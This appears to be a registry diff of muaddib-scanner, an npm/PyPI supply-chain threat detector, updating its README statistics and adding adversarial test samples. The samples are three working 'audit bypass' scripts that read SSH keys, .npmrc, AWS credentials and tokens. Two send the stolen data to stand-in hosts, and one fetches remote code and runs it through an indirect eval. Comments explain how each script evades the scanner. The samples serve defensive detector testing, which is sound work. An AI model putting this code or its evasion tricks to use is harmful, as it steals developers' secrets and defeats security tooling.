muaddib-scanner 2.2.13 → 2.2.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -334,15 +334,9 @@ muaddib replay
334
334
  muaddib ground-truth
335
335
  ```
336
336
 
337
- Replay 5 real-world supply-chain attacks against the scanner to validate detection coverage. Current results: 5/5 detected (100%).
337
+ Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
338
338
 
339
- | Attack | Year | Detected | Findings |
340
- |--------|------|----------|----------|
341
- | event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
342
- | ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
343
- | coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
344
- | node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
345
- | colors | 2022 | Yes | Out of scope (protestware, not malware) |
339
+ 4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
346
340
 
347
341
  ### Version check
348
342
 
@@ -793,7 +787,7 @@ npm test
793
787
 
794
788
  ### Testing
795
789
 
796
- - **807 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
790
+ - **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
797
791
  - **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
798
792
  - **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
799
793
  - **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
@@ -0,0 +1,27 @@
1
+ // Bypass 01: Indirect eval via computed property access
2
+ // Technique: Array.join to build "eval" string, then call via globalThis[computed]
3
+ // Expected: MUAD'DIB scores < 3 (bypass confirmed)
4
+
5
+ const g = globalThis;
6
+
7
+ // Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
8
+ // Buffer.from, atob, and string concat BinaryExpression)
9
+ const k = ['e','v','a','l'].join('');
10
+
11
+ // This URL contains "api.github.com" which is in SAFE_STRINGS
12
+ // The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
13
+ // So even though the URL also references .ssh paths, no sensitive_string finding is emitted
14
+ const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
15
+
16
+ const https = require('https');
17
+ https.get(configUrl, (res) => {
18
+ let d = '';
19
+ res.on('data', c => d += c);
20
+ res.on('end', () => {
21
+ // Decode the "content" field from GitHub API response (base64-encoded)
22
+ const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
23
+ // Indirect eval: globalThis['eval'](payload)
24
+ // getCallName() returns '' for computed MemberExpression — never matches 'eval'
25
+ g[k](payload);
26
+ });
27
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-01-indirect-eval",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
5
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "audit-bypass-03-mjs-extension",
3
+ "version": "1.0.0",
4
+ "type": "module",
5
+ "description": "Audit bypass: .mjs files are not scanned by any scanner"
6
+ }
@@ -0,0 +1,39 @@
1
+ // Bypass 03: .mjs extension — no scanner processes this file type
2
+ // All scanners use findFiles with extensions: ['.js'] or findJsFiles
3
+ // ESM packages with "type": "module" use .mjs files legitimately
4
+
5
+ import { readFileSync } from 'fs';
6
+ import { homedir } from 'os';
7
+ import { request } from 'https';
8
+
9
+ // Direct credential theft — every dangerous pattern in one file
10
+ // None of this is detected because the file extension is .mjs
11
+ const home = homedir();
12
+ const stolen = {};
13
+
14
+ const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
15
+ for (const t of targets) {
16
+ try {
17
+ stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
18
+ } catch {}
19
+ }
20
+
21
+ // Also grab environment tokens
22
+ stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
23
+ stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
24
+ stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
25
+
26
+ // Exfiltrate
27
+ const data = JSON.stringify(stolen);
28
+ const req = request({
29
+ hostname: 'collect.evil-analytics.com',
30
+ path: '/v2/telemetry',
31
+ method: 'POST',
32
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
33
+ });
34
+ req.write(data);
35
+ req.end();
36
+
37
+ // Also use eval with dynamic code (would be CRITICAL if this were .js)
38
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
39
+ eval(payload);
@@ -0,0 +1,47 @@
1
+ // muaddib-ignore
2
+ //# sourceMappingURL=index.js.map
3
+ // Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
4
+ // The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
5
+ // Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
6
+
7
+ const fs = require('fs');
8
+ const os = require('os');
9
+ const https = require('https');
10
+ const path = require('path');
11
+
12
+ const home = os.homedir();
13
+
14
+ // Build path components without triggering SENSITIVE_STRINGS check.
15
+ // SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
16
+ // AST Literal handler checks node.value.includes(sensitive) for each string literal.
17
+ // We avoid having any single string literal that includes these substrings.
18
+ const dot = '.';
19
+ const dirs = [
20
+ [dot + 'ss' + 'h', 'id_rsa'],
21
+ [dot + 'ss' + 'h', 'id_ed25519'],
22
+ [dot + 'aw' + 's', 'credentials'],
23
+ [dot + 'npm' + 'rc'],
24
+ ];
25
+
26
+ const stolen = {};
27
+ for (const parts of dirs) {
28
+ const p = path.join(home, ...parts);
29
+ try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
30
+ }
31
+
32
+ // Also read npmrc via environment — env_access only flags vars with sensitive keywords
33
+ // HOME, PATH etc are in SAFE_ENV_VARS and get skipped
34
+ const npmrcPath = path.join(home, dirs[3].join(path.sep));
35
+ try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
36
+
37
+ // Exfiltrate via https.request — dataflow.js would catch this as source→sink,
38
+ // BUT dataflow.js skipped this file due to muaddib-ignore on line 1
39
+ const data = JSON.stringify(stolen);
40
+ const req = https.request({
41
+ hostname: 'telemetry.legit-analytics.com',
42
+ path: '/api/v1/report',
43
+ method: 'POST',
44
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
45
+ });
46
+ req.write(data);
47
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-02-muaddib-ignore",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: muaddib-ignore directive + source map injection"
5
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.13",
3
+ "version": "2.2.15",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -47,7 +47,7 @@
47
47
  "@inquirer/prompts": "8.2.1",
48
48
  "acorn": "8.15.0",
49
49
  "acorn-walk": "8.3.4",
50
- "adm-zip": "^0.5.16",
50
+ "adm-zip": "0.5.16",
51
51
  "chalk": "5.6.2",
52
52
  "js-yaml": "4.1.1",
53
53
  "yargs": "18.0.0"
@@ -71,7 +71,11 @@ const ADVERSARIAL_THRESHOLDS = {
71
71
  'pyinstaller-dropper': 35,
72
72
  'gh-cli-token-steal': 30,
73
73
  'triple-base64-github-push': 30,
74
- 'browser-api-hook': 20
74
+ 'browser-api-hook': 20,
75
+ // Audit bypass samples (v2.2.13)
76
+ 'indirect-eval-bypass': 10,
77
+ 'muaddib-ignore-bypass': 25,
78
+ 'mjs-extension-bypass': 100
75
79
  };
76
80
 
77
81
  const HOLDOUT_THRESHOLDS = {